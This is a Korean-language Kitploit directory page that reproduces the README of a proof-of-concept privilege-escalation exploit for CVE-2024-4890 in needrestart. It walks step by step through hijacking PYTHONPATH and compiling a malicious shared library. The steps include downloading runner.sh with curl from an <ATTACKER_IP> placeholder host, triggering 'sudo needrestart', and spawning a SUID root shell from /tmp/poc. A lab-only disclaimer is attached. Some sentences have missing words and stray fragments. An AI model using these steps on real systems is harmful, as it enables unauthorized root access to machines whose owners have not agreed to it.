Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
needrestart-sudo-escalate-cve-2024-4890 — CVE-2024-4890에 대한 PoC 익스플로잇: neecdrestart(>=3.8)를 통한 Sudo 권한 상승. 윤리적 랩 전용. Python 및 C 스크립트. | Kitploit
도구/GitHubGitHub/nekr0ff/needrestart-sudo-escalate-cve-2024-4890
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubnekr0ff/needrestart-sudo-escalate-cve-2024-4890

needrestart-sudo-escalate-cve-2024-4890

CVE-2024-4890에 대한 PoC 익스플로잇: neecdrestart(>=3.8)를 통한 Sudo 권한 상승. 윤리적 랩 전용. Python 및 C 스크립트.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
310개월 전아직 검토되지 않음

CVE-2024-4890: needrestart sudo 권한 상승 PoC

CVE-2024-4890 License: MIT

면책 조항

연구실 전용 통제 환경에서만 사용하십시오. 명시적 승인 없이 프로덕션 시스템에서 악용하지 마십시오. 이 PoC는 교육 목적으로만 제공됩니다. 작성자는 오용이나 무단 접근에 대해 책임을 지지 않습니다.

개요

CVE-2024-4890은 needrestart (버전 >= 3.8)의 중요한 취약점으로, 권한 상승을 통해 임의 코드 실행이 가능합니다. 이 문제는 프로세스 스캔 중 환경 변수 및 설정 파일의 안전하지 않은 처리에서 비롯됩니다.

구체적으로, sudo로 실행될 때 needrestart는 실행 중인 Python 프로세스를 검사하며, 여기에는 PYTHONPATH 환경 변수도 포함됩니다. 공격자는 사용자 정의 PYTHONPATH를 통해 공격자가 제어하는 디렉터리(예: /tmp/attacker)를 가리키도록 설정하여 이를 가로챌 수 있습니다. 이 디렉터리 내부에는 악성 모듈(__init__.so)이 가짜 importlib 구조에 배치됩니다. needrestart가 루트 권한으로 이 모듈을 가져오려고 시도할 때(라이브러리 확인을 위해) 페이로드가 실행되어 루트 액세스 권한이 부여됩니다.

이 PoC는 미끼 Python 프로세스, 악성 공유 라이브러리(C로 컴파일됨) 및 자동화 스크립트를 통해 익스플로잇을 시연합니다.

전제 조건

  • 대상: needrestart >= 3.8 및 이에 대한 sudo 액세스 권한이 있는 Linux 시스템.
  • 도구: gcc (컴파일용), curl, python3.

파일 구조

이 파일들은 대상 머신의 /tmp/attacker에 배치하십시오.

  • e.py: 미끼 Python 스크립트 (루프에서 실행되며 페이로드 성공을 기다림).
  • runner.sh: 미끼를 설정하고 트리거하는 자동화 스크립트.

익스플로잇 단계

  1. 공격자 머신: lib.c를 __init__.so로 컴파일하고 호스팅:

    gcc -shared -fPIC -o init.so lib.c

    python3 -m http.server 8000

  2. 대상 머신 (피해자):

    • /tmp/attacker 디렉터리를 생성합니다.
    • main.py를 복사합니다.
    • runner.sh를 다운로드하고 실행 가능하게 만듭니다:
      root@kitploit:~
      curl http://<ATTACKER_IP>:<PORT>/runner.sh -o /tmp/attacker/runner.sh
      chmod +x /tmp/attacker/runner.sh
      
    • 한 터미널에서 설정을 실행합니다:
      root@kitploit:~
      cd /tmp/attacker && ./runner.sh
      

    이렇게 하면 악성 모듈, 미끼 스크립트가 생성되고 하이재킹된 Python 프로세스가 시작됩니다.

  3. 스캔 트리거 (새 SSH 세션에서):

    root@kitploit:~
    sudo /usr/sbin/needrestart
    

    needrestart가 미끼 프로세스를 감지하고 를 읽은 다음 악성 를 루트로 가져와 페이로드를 실행합니다.

성공 확인: whoami에 root가 표시되거나 id에 uid=0(root)가 표시됩니다.

도구 다운로드
PYTHONPATH
__init__.so
  • 액세스 획득 (runner.sh 터미널로 돌아가서):

    • 스크립트가 /tmp/poc (페이로드로 생성된 SUID 루트 셸)를 감지하고 루트 셸을 생성합니다:
      root@kitploit:~
      sudo /tmp/poc -p
      
    • 정리: rm -rf /tmp/attacker /tmp/poc (추가된 sudoers 항목도 제거).